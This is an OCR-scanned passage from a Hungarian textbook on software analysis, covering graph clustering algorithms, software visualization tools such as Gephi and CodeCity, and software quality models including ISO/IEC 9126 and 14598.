¢s B-ben szerepld A valamely elemére valod hivatkozasok szamanak Osszegével. Az Osszeg
azért sziikséges, mert bizonyos szdmitasokhoz elengedhetetlen, hogy a tdvolsag szimmetrikus
legyen. Azaz teljesiilnie kell az alabbi kritériumnak: tavolsag(A,B) = tavolsag(B,A).
Természetesen ez az ¢l sulyozas csak egy a sok lehetséges megoldas koziil.

Klaszterezés soran a megfeleld csoportok kialakitasa nem trividlis feladat, mivel a pontok
szdmanak novekedése €s a klaszterezd tulajdonsagok szamanak novekedése exponencidlis
szamitasigény novekedést okoz.

Klaszterezo algoritmusok

A klaszterez6 algoritmusok ismertetése eldtt sziikséges néhany fogalmat definidlni, amelyek
az algoritmus bemenetén, azaz a grafon értelmezett miiveletek. Ilyen definicio példaul a
grafbeli pont hasonlosaga.

Hasonlosag:

Tetszbleges két x,y klaszterezendd elem esetén azok hasonlosagat s(x, y) jeloli, ahol s-re
teljesiil, hogy:
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e 0<s(x,y)=1.
® 5(x,y)=s(y, x) minden X, y pontparra.
® 5(x, x) =1 minden x adatpontra.

Hasonlésag helyett tobbszor az x, y pontok d(x, y)-vel jelolt tdvolsagat hasznaljak.

Tavolsag:

A tavolsagra adott kordbbi példankat altalanositva az aldbbi definiciot adhatjuk. Két grafbeli
pont, x és y tavolsagat d(x,y) jeloli, melyre a metrikdkra szokésos, kovetkezo feltételeket
tehetjiik:

e Nemnegativitas, azaz barmely x és y pontra d(x,y) >= 0;
e Szimmetria, azaz d(x,y) = 0 pontosan akkor, ha x=y;
e Haromszdg-egyenldtlenség, azaz barmely x, y, z pontra d(x, z) < d(x, y) + d(y, z).

Egyes klaszterezd algoritmusok a két utdbbi feltételt nem teljesitd d fiiggvénnyel is
hasznalatosak.

A pontok paronkénti tavolsagit matrix formdjaban is megadhatjuk. Ezt a matrixot szokas
tavolsagmatrixnak nevezni.

Tavolsagmatrix[24]:
Egy klaszterezd eljaras bemenetét a szimmetrikus tdvolsagmatrixszal is reprezentalhatjuk:

0 d(12) d(13) ...  d(1n)
d21) 0 d23) ... d2n)
dn.1) dn2) dn3) ... 0

ahol d(i, j) adja meg az i-edik és a j-edik elem tavolsagat és n az adatpontok szama. Ennek
mint4jara értelmezhetd a hasonlésagmatrix is.
A sziikséges definiciok attekintése utan tekintsilink a klaszterez6 algoritmusok fajtait.

Algoritmusok fajtdi

A klaszterelemzési algoritmusok kdzott megkiilonboztetlink hierarchikus és nem hierarchikus
algoritmusokat. A hierarchikus algoritmusok az el6zdleg kialakitott klaszterek alapjan
keresnek az 1) klasztereket, ugyanakkor a nem hierarchikus algoritmusok egyszerre
hatdrozzak meg az 0sszes klasztert.

Hierarchikus algoritmusok:

e Osszevond (Agglomerative): Az Osszevonason alapuld algoritmus el8szér minden
egyes elemet kiilon klaszternek tekint €s Osszekapcsolja Oket egyre nagyobb
klaszterekbe, mig a végén egyetlen, az Osszes elemet tartalmazo klasztert kapunk.
Osszevonason alapulé klaszterezés a lanc-, a variancia- és a centroid modszer.

e Felosztd (Divisive): A felosztason alapuld algoritmus az Osszevonodval ellentétben
eldszor az egész adattdombot egyetlen klaszternek tekinti és egyre kisebb klaszterekre
osztja, mig a végén minden elem kiilon klasztert képez.

Mindkét hierarchikus algoritmusndl az eredményt altalaban egy fa formdjaban szoktdk
abrazolni, ahol az egyik végén az egyes elemek talalhatoak, a masik végén pedig egyetlen
klaszter, ami az Osszes elemet tartalmazza. Az Osszevondson alapuld algoritmus a fa
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leveleinél kezdi az elemzést, a felosztason alapulo pedig a gydkereknél. Ha elvagjuk a fat egy
bizonyos magassagban, akkor azon az adott ponton megprobalhatjuk értelmezni a klaszterezés
eredményét.

Nem hierarchikus algoritmusok:

o K-kozép klaszterelemzés: A nem hierarchikus klaszterelemzési modszerek kozil a K-
kozEp algoritmus a legnépszeriibb, legrégibb és legegyszeriibb. A K-k6zép algoritmus
minden egyes elemet ahhoz a klaszterhez sorol, amelyiknek a kozéppontja a
legkozelebb esik az adott elemhez. Az algoritmus bemenete a klaszterek szdma (k).
Tovabba a graf pontok véges halmaza. Az algoritmus 1épései a kovetkezoek [25]:

o Kivdlasztja a klaszterek szamat (k).

o Véletlenszertien 1étrehoz k szamu klasztert, és meghatarozza minden klaszter
kozepét, vagy azonnal létrehoz k véletlenszerti klaszter kdzéppontot.

o Minden egyes pontot abba a klaszterbe sorol, amelynek kozéppontjdhoz a
legkozelebb helyezkedik el.

o Kiszamolja az 0j klaszter kozéppontokat.

o Addig ismétli az elé6z6 két Iépést (iterdl), amig valamilyen konvergencia
kritérium nem teljesiil (altaldban az, hogy a besorolas nem véltozik).

Az algoritmus legnagyobb eldnye az egyszeriisége €s a sebessége, ami lehetové teszi az
alkalmazasat nagy adattombon is. Hatranya viszont, hogy nem ugyanazt az eredményt adja
kiilonbozé futtatdsok utan, mert a klaszterezés eredményét befolydsolja a kezdeti
véletlenszerli besorolas. Minimalisra csokkenti a klasztereken beliili varianciat, de nem
eredményezi 6sszességében a legkisebb varianciat.

Szoftver vizualizacio

A szoftver vizualizacid statikus vagy animalt, 2 vagy 3 dimenzids reprezenticidja a
rendszerbdl kinyert informacidknak. Ezek az informdciok vonatkozhatnak a rendszer
strukturdjara, méretére, fejlodésére vagy viselkedésére. Tipikusan a szoftver metrikdk altal
kapott informaciokat szoktak felhaszndlni a vizualizacié bemeneteként, bar szokds még a
visszatervezés soran kapott informaciokat is vizualizalni, tovabba a klaszterezés eredményét
is érdemes lehet vizudlis alakban reprezentalni. A vizualizacio jol hasznalhat6 arra, hogy
manualisan keressiik meg a rendszerben eléforduld hasonldsadgokat. Ezt a folyamatot hivjak
vizualis adatbanyaszatnak (Visual Data Mining).

A szoftver vizualizacidja nem csak a megértés miatt hasznos, hanem a rendszer hibainak a
feltdrasa miatt is. A vizualizalt rendszert sokkal konnyebb atlatni, ezaltal nagyobb rendszerek
esetén is érthetébb képet kapunk, és igy a hibak feltarasa is sokkal gyorsabb.

Szamos megoldas késziilt, amelyekkel kisebb-nagyobb sikerrel szemléltethetjiik egy rendszer
felépitését vagy miikodését. Kisebb programokat, mondjuk egy 8-10 osztalybol allo
srendszert” kézzel is konnyen ¢és gyorsan abrazolhatunk: graf formatol kezdve az
osztalydiagramokon keresztiil sokféle modon, akar papiron, akar digitalis formaban. Nagyobb
rendszereknél azonban a kézi megvalositast a nagy munka- és 1doigény miatt nem
alkalmazhatjuk. Ezért sziikséges e rendszerek vizualizadldsdnak automatizaldsa. Egy
vizualizacios eszkoz kovetelményei a kovetkezok lehetnek:

e Adjon valdés képet a rendszerrdl, azaz ne vezesse félre azt, aki felhasznalja a képi
megjelenitést.
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e Hasznalja fel a lehetd legtobb rendelkezésre allo adatot, igy biztositva, hogy a kép
tényleg a rendszer pontos masa.

o Attekinthetd nézetet kell, hogy adjon. Ertelmetlen olyan eszkozt késziteni, amely
ugyan képes vizualizalni nagy rendszereket is, de a kimenet a felhasznalé szaméara
atlathatatlan, értelmezhetetlen.

Eszkozok
A tovabbiakban néhany vizualizal6 eszkdzt ismertetiink.
Gephi

Ez egy altalanos graf vizualizacios eszkoéz. Elonye, hogy valos idoben képes animalva
szimulalni egy grafon futd elemzést (példaul klaszterezés). Windows, Linux és MacOS X
platformra is elérhetd. A GPLv3 licensz ala esd szoftver Java-ban irddott (java 1.6).
Legnagyobb elénye az, hogy 1étezik hozza egy ToolKit, egy java-s API csomag, amely széles
korben tamogat minden Gephi funkciot. A graf atlathatdé megjelenitését, a pontok
csoportositasat, a szinezést ¢s az animalast mind a Gephi-re lehet bizni.

[— T byt iy g

24. abra. Egy példa graf Gephi-ben

A 24. abra példat mutat a Gephi miikodésére. Egyszerre sokféle kapcsolatot képes kezelni.
Megbirkézik iranyitott és irdnyitatlan grafokkal is. Egy idében 1 millio grafpontot és élet is
képes kezelni. Képes rétegeket kezelni (példaul ForceAtlas, Yifan's Hu Multilevel, stb.) és a
rétegeket kiilonbozd szinnel megjeleniteni. Ezen feliil klaszterez, osztalyoz, akar animalva is.
Képes a megjelenitendd graf pontokat bizonyos értékek alapjan sztirni (példaul kapcsolatok
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szama). Természetesen minden kimenet exportalhaté a formatumok széles skalajaba (jpg,
bmp, pdf, eps, svg, gml, tovabba a sajat formatumok).

A Gephi egy nagyon hatékony eszkdéz, a ToolKit-nek hala (rendkiviil) sok teriileten
alkalmazhato.

Hivatalos honlap: http://gephi.org/

Klocwork

A Klocwork Insight, egy statikus kodelemzd C, C++, Java és C# nyelvekre rengeteg hasznos
eszkozzel. A Klocwork Insight Pro-t, 2009 novemberében adték ki. Ez a verzid tartalmazza a
Klocwork Insight-t kiegészitve azt par hasznos Ujdonsaggal, példaul kod feliilvizsgaloval és
C/C++ fejlesztok szamara késziilt refaktoring eszk6zokkel. Ezeken kiviil 1étezik a Klocwork
Solo egy fliggetlen Eclipse plug-in java fejlesztOknek kifejezetten a mobil és netes
alkalmazasok fejlesztéséhez.

Hivatalos honlap: http://www.klocwork.com

Architektira megjelenités és kodoptimalizalas a Klocwork-kel

A ,ssource code flow” grafikai modelljeit alkalmazva a Klocwork Insight lehetdvé teszi a
szoftverfejlesztok szdmara, hogy kisérletezzenek kiilonbdzé optimalizalt modellekkel anélkiil,
hogy befolydsolndk a rendszert. Ez az automatikus koéd felismerd lehetévé teszi a
szoftverfejlesztok szdmara, hogy értelmezzenek ¢és megjelenitsenek komplex kod
kapcsolatokat, ,,what-if” szcenariokat készitsenek, €s jratervezzék a forraskddot. Ha parosul
a Klocwork kritikus bug ellendrzéssel, lehetdvé teszi a fejleszté csapatoknak, hogy jobb,
karbantarthatobb kodot irjanak.

A Klocwork Insight a szoftver strukturdjanak és kinézetének egy pontos éabrazolasat
eredményezi kozvetleniil a meglévd forraskodbol. A grafikus interfész egy gyors modjat
nyujtja a komponensek, interfészek és a szoftver rendszeren beliilli komponensek kozotti
Osszefiiggések megértésének.

Koad felismerés és hatasanalizis

A rendszer nézet felfedi a 1étezd alkalmazas fizikai struktirajat. Az alkalmazésokon beliili
fliggdségek kockazatosak, ugyanugy, mint az alkalmazas és a kornyezete kozotti fliggdségek.
Az automatikus architektira vizsgélat biztositja a fejleszték szamara, hogy a modositasaik a
kodban ne ronthassanak el més tertileteket a rendszerben.

MultiVizArch

A MultiVizArch szoftverrendszerek architektirajanak abrazolasara hasznalhatd. Tamogatja a
tobbdimenziods skalas, a 2-dimenzids racsos (25. abra) és a spiralis megjelenitést.
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25. abra. Egy modul bejové kapcsolatainak megjelenitése 2-dimenzios rdcs elrendezésben

A ,,Glyph” reprezentacioval egy szoftver komponenst ugy abrazolnak, hogy annak
tulajdonsagai: térbeli pozicidja (x,y koordindta), szine (telitettség, stb.) és mintizata
(magassag, méret, atlatszosag, stb.) reprezentaljak a komponens megfeleld tulajdonsagait.

A multi-dimenzionalis skalds (MDS - Multi Dimensional Scaling) technika gondoskodik a
vizualis megjelenésrdl, amely az adott elemeket azok kapcsolatainak szorossaga alapjan
jeleniti meg, gy mintha azok csucspontok kozotti tdvolsagokat hataroznanak meg. A pontok
kozotti tavolsag lehet a kapcsolatnak megfeleléen azonos, amikor kisebb bemeneti kdzelség
esetén kozelebb vannak a megjelenitendd pontok egymashoz; vagy forditott, azaz kisebb
bemeneti kozelség esetén tavolabb vannak a pontok egymastdl (példaul szoftver architektira
abrazolésa).
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26. abra. MDS kimend kapcsolatai a ,,platform” nevii példa modulnak

Az MDS technika hasznos az egész architektira egy abran valé megjelenitésére, amely magas
szinten mutatja meg a kiilonb6zo szoftver komponensek kdzotti kapcsolatokat. Erre mutat egy
példat a 26. abra. A 2 dimenzids racsszerkezet viszont alkalmasabb barmely két attributum
hatdsanak izolalasara, mig a spiralis szerkezet jobb ralatast enged egyetlen tulajdonsag
hatasanak tanulmanyozasara az egész szoftver architekturat tekintve.

SHRiMP

A SHRiMP programot mar egy korabbi fejezetben emlitettiik, amikor is szoftver
visszatervezés egy eszkozeként hasznaltuk. Nem tévedtiink akkor a szoftver funkciodjat
illetéen, ugyanis a szoftver vizualizdcid a szoftver visszatervezésének részét képezi
(képezheti). A szoftvert bongészobdl indithatd Java applet-ként is hasznalhatjuk, de ebben az
esetben is minden funkci6 ugyanugy elérhetd (példaul exportalas képként, projekt
megnyitasa, stb.).
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27. abra. A SHRIMP mikézben egy rendszer osztdalyainak kapcsolatait jeleniti meg

A SHRiMP egy nagyon széles korben elterjedt eszkdz. Ez kdszonhetd annak, hogy tamogatja
mind a visszatervezést, mind a vizualizalast, tovabba annak is, hogy ingyenesen elérhetd. A
27. ébra a program felhasznaloi feliiletét mutatja.

Hivatalos honlapja: http://www.thechiselgroup.org/shrimp

CodeCrawler

Ez a program a Moose technology része. A Moose technology egy platform a szoftver és
adatelemzéshez. Egy open source projekt, amely 1996-ban indult utjara. Mara mar rengeteg
eszkozt foglal magaban, mely mind a szoftver és adat elemzést, ellendrzést €s modellezést
segiti. Egyik ilyen eszkoziik a CodeCrawler. A CodeCrawler egy nyelv fliggetlen szoftver
visszatervezd eszkdz, amely kombinalja a metrikakat és a szoftver vizualizaciot. Az eszkoz
VisualWorks Smalltalk-ban késziilt. Minden fontosabb platformra elérhetd. A 28. dbra
bemutatja a CodeCrawler-t futds koézben. Maga a CodeCrawler eszkéz mar ,retired”
statuszban van, helyét a Mondrian vette at, mely ugyanezeket a funkciokat nyujtja, néhany
hasznos extraval kiegészitve, mint példaul a sajat graf leir6 szkript készitése.
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28. abra. A CodeCrawler futas kézben
Hivatalos honlap: http://codecrawler.sourceforge.net

CodeCity

A CodeCity egy integralt kdrnyezet szoftverelemzéshez. Ez az eszkoz is a Moose technoldgia
részét képezi. A szoftver rendszert olyan 3 dimenzios alakban reprezentélja, ami leginkabb
egy varoshoz hasonlit (innen ered a neve). Az épiiletek az osztidlyok, mig a csomagok a
,varosrészek”, korzetek, ahogy ezt a 29. abra is mutatja. Az épiiletek formdja és szine
kiilonféle szoftver metrikdk alapjan hatdrozhato meg. A CodeCity is, mint ahogy a
CodeCrawler is, VisualWorks Smalltalk-ban késziilt. Hivatalos honlapja:
http://www.inf.usi.ch/phd/wettel/codecity.html.

www. tankonyvtar.hu
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29. abra. A CodeCity altal generalt 3D-s kép
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Minéség

Ahhoz, hogy meghatarozzuk egy szoftver mindségét, fontos tisztaban lenniink azzal, hogy
milyen mutatok alapjan tudunk egy szoftvert mindsiteni, illetve magénak a mindség
fogalmanak a pontos definicidja is sziikséges.

Amint megprobaljuk definidlni a mindséget, egybdl egy problémaba {itkoziink. Felmeriil a
kérdés, hogy mégis milyen szempontbol, milyen szemszogbdl definidljuk a mindséget. A
mindség altalanos filozofiai értelmezése [27]: ,,A dolgok tulajdonsdgokkal torténd leirdsa”. A
mindség értekszemléletl, filozofiai értelmezése: ,,szubjektiv, értékrenden alapulo, személyhez
kotott.”. Ezek a definiciok még nem elég specifikusak ahhoz, hogy egy szoftver rendszer
mindségét be tudjuk vele azonositani.

A termék és a fogyasztasi folyamat mindségének fogyasztoi értelmezése a mindség
értékszemléletli filozofiai értelmezésén alapul. ,,A fogyasztasi folyamat mindségét a fogyasztd
szempontjabol azok a funkciok hatarozzdk meg, amelyek alkalmassa teszik a terméket a
fogyasztas sordn a fogyasztd altal igényelt funkcidk kielégitésére. Ez masképp a termék
hasznossagénak is nevezhet.” Ezzel a definicioval mar pontosabb képet kapunk a
mindségrol. Itt mar a fogyasztd szemszogébdl kapunk definiciot. Megtudjuk, hogy a mindség
mérésének egyik alappillére, hogy a termék kielégitse az elvart funkciokat. A termeldi
oldalrél tekintve, ez a definicio igy hangzik: ,,Az igény kielégitési folyamat termeldi
mindsége attdl fiigg, hogy a termelési folyamat és a termék a termeldi érdekeltek
szempontjabol megfelelé-e, igy a termelés folyamata az érdekeltek szdmara hasznos-e,
gazdasagos-e, kellden veszélytelen-e.”

Miutan definidltuk a mindséget a fogyasztd €s a termeld szemszogébdl is, tegyiik meg, hogy a
tarsadalom szemszogébdl is definidljuk azt, igy egy altalanosabb képet kapva arrdl, mivel a
fogyasztd és a termeld is a tarsadalom része. ,,Az igény kielégitési folyamat tarsadalmi
mindsége attol fiigg, hogy a termelési és fogyasztasi folyamatok a tarsadalom szdmara kell6en
hasznosak-e és védelmi, kiillondsen életvédelmi, valamint kornyezetvédelmi szempontbol
veszélytelenek-e.”

Ezen definiciok utan képesek vagyunk felllitani egy altalanos képet arrdl, hogy a mindség
fogalma ald milyen tulajdonsagok leirdsanak kell esnie. Ezek a kovetkezok:

e Mennyire hasznos egy termék? (Ezek a fogyasztd szemszogébdl vett elvarasok.)

e A termelés folyamata az érdekeltek szamara hasznos-e, gazdasagos-e, kellden
veszélytelen-e? Azaz mennyire érdemes a termelést végezni. Van-e rd igény? (Ezek a
termel0 elvarasai.)

e A termékek a tarsadalom szamara kelléen hasznosak-e? (Ezek a tarsadalom elvarasai.)

A mindség mérése:

Azt tudjuk, hogy a mindséget meghatdrozd funkcidk, tulajdonsagok jelentds része nem
mérhetd. Tovabba tudjuk, hogy a mindsités szubjektiv, mivel a mindség nem mas, mint az
emberek értékitélete, és nincs tarsadalmilag elfogadott értékrend. Ezen feliil a mindsités
idében, és kornyezettdl fliggden valtozo.

Ezzel egy altalanos képet kaptunk arrdl, hogy mit rejt magaban a ,,min0ség”, mint fogalom.
Most tekintsiik a szamunkra Iényeges specifikus definicidkat, azaz a szoftver mindségének
jellemzdit, definicioit.
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Szoftvermindség

A szoftvermindség egy tobbdimenzids fogalom. A szoftverek mindsége azt jelzi, hogy a
fejlesztési folyamat a specifikacios kdvetelményeket mennyire elégiti ki.

Szoftverek esetében nehézségek akadnak a mindség pontos definidlasaval. Példaul a
specifikdcionak a felhasznalo altal kivant termék karakterisztikdjat kell kdvetni, azonban a
fejlesztési szervezetnek 1is vannak kovetelményei, amelyek nem szerepelnek a
specifikacioban. Eppen ezért a szoftver specifikaciok rendszerint nem teljesek.

A szoftver mindségét szempontok alapjan vagyunk képesek csak meghatdrozni. Ezen
szempontok minél specifikusabban, pontosabban keriilnek definidlasra, annal pontosabb
mindségi jellemzést adhatunk a rendszerrél. Ezeket a szempontokat a kiilonb6z6 mindségi
modellek definidljak, mint példaul az ISO/IEC 9126 (lasd ISO/IEC 9126 cimi alfejezet).
Jogosan tehetjiik fel a kérdést, hogy miért sziikséges annyi energiat beledlni abba, hogy a
kiilonboz6 szempontok értékekeit meghatarozzuk. Miért nem elég, ha csak annyit tudunk a
rendszerrdl, hogy miikddik. A mindségellendrzés fontossdgara egy jo példa az 1996. junius 4-
én kilétt ARIANE 5 rakéta. 500 milli6 dollar veszteséget okozott egy nem megfeleléen
ellendrzott, azaz nem mindségi szoftver. A készitdk jol tesztelt, mindségi szoftvernek tartottak
a rakéta ADA alapu rendszerét. A rakéta onmegsemmisitést hajtott végre inditas utan 37 mp-
el az irdnyitd szoftver hibaja miatt. Ez volt a torténelem egyik legdragabb szamitogépes
meghibasodasa. A hiba egy 64 bites adat 16 bitre torténd konvertalasakor fellépd kivétel volt.
A 64 bites adat tul nagy volt, hogy 16 biten elférjen. A hiba elkeriilheté lett volna
tesztelésekkel, amelyeket a mindségellendrzés keretein beliil kellett volna megtenni.

Egy masik hasonl6 példa, amikor is a TRW készitett egy miiholdat az ’50-es évek végén egy
olyan 0j funkcidval bdvitve azt, hogy képes legyen egy ugynevezett ,stand-by”, azaz
készenléti modba allni azzal a céllal, hogy energiat sporoljon. Miutdn sikeresen fold kortili
palyara allt, letesztelték az Gsszes funkciéjat. Am amikor kiadtak a ,,power down” parancs
utdn a ,,power up” parancsot, a rendszer nem ,,¢ledt fel”. A hiba ott keresendd, hogy a ,,power
down” parancs lekapcsolt minden szerintiik ,feleslegesen dramot fogyasztd” eszkozt a
fedélzeten, beleértve a foldi iranyitd kozponttal kapcsolatot tartd radiot is. Igy képtelen volt
fogadni a felkapcsolo utasitast. Egyetérthetiink abban, hogy ez a hiba is elkeriilhetd lett volna
egy kimeritd szoftverteszteléssel, ami a mindségelemzés része.

Mindéségjellemzés szabvanyai

A mindség jellemzéséhez kiilonbozé modelleket alkottak. A modellek leirjdk, hogy milyen
jellemzoket sziikséges mérni ahhoz, hogy a szoftvert mindsiteni tudjuk. Az els6 mindségi
modellek definidlasa Utt6rd szerepet jatszott a ma hasznalatos modellek specifikdldsdban. A
két emlitésre meltd6 modellt Boehm (1977) és McCall (1978) készitette el. Ezek a modellek
mar tartalmaztdk a felhasznaldi alapszempontokat. Ezek a tarsadalom elvardsai.
Mindségfaktorokat és szoftverjellemzoket definidltak, és ezeket metrikdkkal mérték. A
késébbiekben az ISO (Nemzetkdzi Szabvanyligyi Szervezet) kiadott két szabvany csaladot,
amelyek erre a két modellre épiiltek, majd késébb teljesen kivaltottak azokat.

ISO/IEC 9126

Az els6 kiadasa 1991-ben késziilt el. A Boehm és McCall modelleket vette alapul, tovabba az
akkori piaci igényeket szerette volna kielégiteni. A cél az volt, hogy olyan szabvanyt
készitsenek, amely egyértelmii moédon meghatirozza a szoftvertermék mindségi jellemzdit.
Olyannyira jol sikeriilt, hogy késoébb teljesen felvaltotta a Boehm és McCall-féle modelleket.
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Ez a szabvanycsalad az alabbi 4 részbdl épiil fel [28]:

1. ISO/IEC 9126-1:2001: Mindségi modell.

2. ISO/IEC TR 9126-2:2003: Kiils6 metrikak.

3. ISO/IEC TR 9126-3:2003: Bels6 metrikak.

4. ISO/IEC TR 9126-4:2004: Hasznalat kozbeni metrikak.

A szabvany elso része a szoftvertermékek esetében alkalmazandd mindségi modellt irja le.

Folyamat Szoftvertermék Szoftvertermék hatasa
Hatassal Hatassal Hatassal
van van van

Belso
mindségi
jellemzok

Kiils6
mindségi
jellemzok

Hasznalatbeli
mindségi
jellemzok

Folyamat
mindség

r r b e

Hasznalati
Folyamat Belso Kiilsé Hasznalatbeli
mérések mérések mérések mindség
mérések

30. abra. Az ISO/IEC 9126 szabvanycsalad modellje

A modell két {6 részbol all:

e Belsé mindség.
e Kiilsé mindség.

Tovabba tartalmazza még a hasznalat kdzbeni mindségi jellemzoket is (lasd 30. abra). Az elsd
modellrész hat jellemzo6t definidl a belsé és kiilsé mindségre, melyeket tovabb bont
aljellemzdkre, s ezek mérésére végiil kiilsd, illetve bels6 metrikdkat hatdroz meg (belsd
mindségi jellemzok az olyan jellemzok, amelyek magét a szoftver terméket jellemzik, pl.
méret. A kiils6 jellemzok fiiggnek attol a kornyezettdl, amelyben a szoftver miikodik, vagyis
nem mérhetdk kdzvetleniil a szoftveren, csak a miikodésben 1évd szoftveren, pl. hibak szdma).
A bels6 és kiilsé mindségre a kovetkezd hat jellemzot (magas szintii mindségi attribuitumot)
definidlja a szabvanycsalad [28]:

Funkcionalitas:

A szoftvertermék azon képessége, hogy adott koriilmények kozott biztositani tudja azokat a
funkciokat, amelyek a kovetelményekben meghatarozasra keriiltek. A kovetkezo
aljellemzdket tartalmazza:

o Alkalmassag: A szoftvertermék azon képessége, hogy az azonositott feladatokhoz ¢és
felhasznaloi célokhoz a megfeleld funkcidkat biztositja.

e Pontossag, hitelesség: A szoftvertermék azon képessége, hogy a sziikséges pontossagi
szinten biztositja az elvart eredményeket vagy hatasokat.

e Egylttmikodési képesség: A szoftvertermék azon képessége, hogy egyiittmikodik egy
vagy tobb azonositott rendszerrel.
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e Biztonsag: A szoftvertermék azon képessége, hogy megvédi az informacidkat és az
adatokat. A jogosulatlan személyek vagy rendszerek nem olvashatjdk vagy
modosithatjak az adatokat, viszont a jogosult személyek vagy rendszerek hozzaférése
biztositott.

e Funkciondlis megfeleloség: A szoftvertermék azon képessége, hogy betartja a
torvényekben vagy hasonld eldirasokban a funkcionalitishoz kapcsolodo
szabvanyokat, konvencidkat vagy szabalyozéasokat.

Megbizhatésag:
A szoftvertermék azon képessége, hogy adott koriilmények kozott egy meghatarozott szinten
tudja tartani a teljesitményét. A megbizhatdsag jellemzdi:

o Kiforrottsag: A szoftvertermék azon képessége, hogy elkeriili, hogy a szoftverben 1évo
,bug”’-ok hibdhoz vezessenek.

e Hibatlirés: A szoftvertermék azon képessége, hogy fenntart egy meghatarozott
teljesitményszintet a szoftverhibdk vagy meghatarozott interfészek megsértésének
ellenére is.

e Helyreallithatosag: A szoftvertermék azon képessége, hogy egy szoftverhibat kovetden
visszaall egy meghatarozott teljesitményszintre és helyredllitja a kozvetlentil érintett
adatokat.

o Megbizhatosagi megfeleldség: A szoftvertermék azon képessége, hogy betartja a
megbizhatdsaghoz kapcsoldodd szabvanyokat, konvencidkat vagy szabalyozasokat.

Hasznalhatésag:
A szoftvertermék azon képessége, hogy adott koriilmények kozotti hasznalat soran érthetd,
tanulhato, hasznélhato6 és vonzo legyen a felhasznalonak. A hasznalhatosag jellemzdi:

o Frthetdség: A szoftvertermék azon képessége, amely megérteti a felhasznaloval, hogy
mikor alkalmazhat6 a szoftver, és hogyan hasznalhat6 egyes feladatok ellatasara.

e Megtanulhatésdg: A szoftvertermék azon képessége, amely lehetdvé teszi, hogy a
felhasznalé megtanulja hasznélni a szoftvert.

o Uzemeltethetéség: A szoftvertermék azon képessége, amely lehetévé teszi a
felhasznal6 szamara, hogy hasznalja, és ellenérzése alatt tartsa.

e Vonzdsag: A szoftvertermék azon képessége, amely vonzova teszi a felhasznald
szdmara.

e Hasznalhat6sagi megfeleloség: A szoftvertermék azon képessége, hogy betartja a
hasznalhatosaghoz kapcsolodd szabvéanyokat, konvencidkat, stilus Utmutatokat vagy
szabalyozasokat.

Hatékonysag:
A szoftvertermék azon képessége, hogy adott koriilmények kozott biztositani tudja a
megfeleld teljesitményt a felhasznalt er6forrasokhoz viszonyitva. A hatékonysag jellemzoi:

o Ido sziikséglet: A szoftvertermék azon képessége, hogy meghatarozott feltételek
mellett a funkciok végrehajtasa soran tartja az eldirdnyzott valaszidoket, miveleti
idoket és atviteli sebességet.

o Eroforras sziikséglet: A szoftvertermék azon képessége, hogy meghatarozott feltételek
mellett a funkciok végrehajtdsa soran az eldirdnyzott mennyiségli és tipust
er6forrasokat hasznalja fel.

e Hatékonysagi megfeleléség: A szoftvertermék azon képessége, hogy betartja a
hatékonysaghoz kapcsolddo szabvanyokat, konvenciokat.
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Karbantarthatosag:
A szoftvertermék modosithatosagi képessége. A modosithatdsag magaban foglalja a szoftver
javitasat, fejlesztését és adaptalasat 0j kornyezethez. A karbantarthatdsag jellemzai:

e FElemezhetdség: A szoftvertermék azon képessége, hogy a szoftver hidnyossagai és a
hibak okai elemezhetok, illetve a modositando részek azonosithatok.

e Modosithatosag: A szoftvertermék azon képessége, amely lehetévé teszi a
meghatarozott modositasok végrehajtasat.

e Stabilitds: A szoftvertermék azon képessége, hogy elkeriilje a modositasok
kovetkeztében fellépd elére nem lathato hatasokat.

o Tesztelhetoség: A szoftvertermék azon képessége, hogy lehetové tegye a rajta
végrehajtott modositasok ellendrzését.

e Karbantarthatosagi megfeleléség: A szoftvertermék azon képessége, hogy betartja a
karbantarthat6saghoz kapcsol6do szabvanyokat, konvenciokat.

Hordozhatosag:
A szoftvertermék azon képessége, hogy atvihetd legyen egyik kornyezetbol a masikba. A
hordozhat6sag jellemzoi:

e Adaptalhatosag: A szoftvertermék azon képessége, hogy kiillonbozé kornyezetekhez
adaptalhatd kizardlag ilyen célbdl a szoftverhez biztositott tevékenységek, illetve
eszkozok alkalmazdsaval.

e Telepithetdség: A szoftvertermék azon képessége, hogy telepitheté egy adott
kornyezetben.

o [Egyiittélés: A szoftvertermék azon képessége, hogy egy kozds kornyezetben kdzos
eréforrdsokat hasznalva egyidejlileg miikddik mas, fiiggetlen szoftverekkel.

e Kivalthatosag: A szoftvertermék azon képessége, hogy hasznalni lehet mas szoftver
helyett annak kornyezetében €s annak céljaiért.

e Hordozhatosdgi megfeleldség: A szoftvertermék azon képessége, hogy betartja a
hordozhatésaghoz kapcsolddo szabvanyokat, konvenciokat.

Az elézbleg ismertetett hat mindségi attributum felhasznalora gyakorolt kombinalt hatdsa a
»hasznalat kozbeni mindség” jellemzokkel irhatd le, amelyek a modell mésodik részében
keriilnek meghatarozéasra. A modell masodik része (ez a szabvany 4. részében keriil részletes
leirasra) a szoftver hasznélata soran a felhasznald szemszogébdl tapasztalhato jellemzokkel
foglalkozik. A szabvanycsalad négy ,hasznalat kozbeni jellemzot” definial, melyek a
kovetkezok:

e Hatéasossag: A szoftvertermék azon képessége, hogy a felhasznaldonak lehetévé tegye
meghatarozott célok pontos €s teljes elérését, bizonyos hasznalati mod mellett. A
tervezett tevékenységek megvalositasanak és a tervezett eredmények elérésének
mértéke.

e Termelékenység: A szoftvertermék azon képessége, hogy a felhasznalot meghatarozott
er6forrasok felhasznalasaval, bizonyos célok elérésében segitse.

e Biztonsag: A szoftvertermék azon képessége, hogy az emberekre, szoftverre,
berendezésekre vagy a kornyezetre gyakorolt hatasa csakis elfogadhaté mértékben
legyen kockazatos.

e Flégedettség: A szoftvertermék azon képessége, hogy a meghatarozott felhasznalasi
kortilmények kozott a felhasznalot elégedetté tegye.
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ISO/IEC 14598

Az ISO/IEC 9126 csak a mindségi attriblitumokat és a hozzajuk javasolt metrikakat definidlja.
Annak modjat, hogy hogyan kell azokat mérni, értékelni, az ISO/IEC 14598 szabvanycsalad
ismerteti. A szabvanycsalad a kovetkezd elemeket tartalmazza [28]:

1.
2.
3.
4.
5.

6.

ISO/IEC 14598-1: Altalanos értékelési folyamat bemutatasa.

ISO/IEC 14598-2: Az értékelések tervezésének és menedzselésének bemutatasa.
ISO/IEC 14598-3: Az altalanos értékelési folyamat, fejleszt szemszogébol vald testre
szabasa.

ISO/IEC 14598-4: Az altalanos értékelési folyamat beszerzé szemszogébol vald testre
szabasa.

ISO/IEC 14598-5: Az altalanos értékelési folyamat fiiggetlen értékeld szemszogébol
valo testre szabasa.

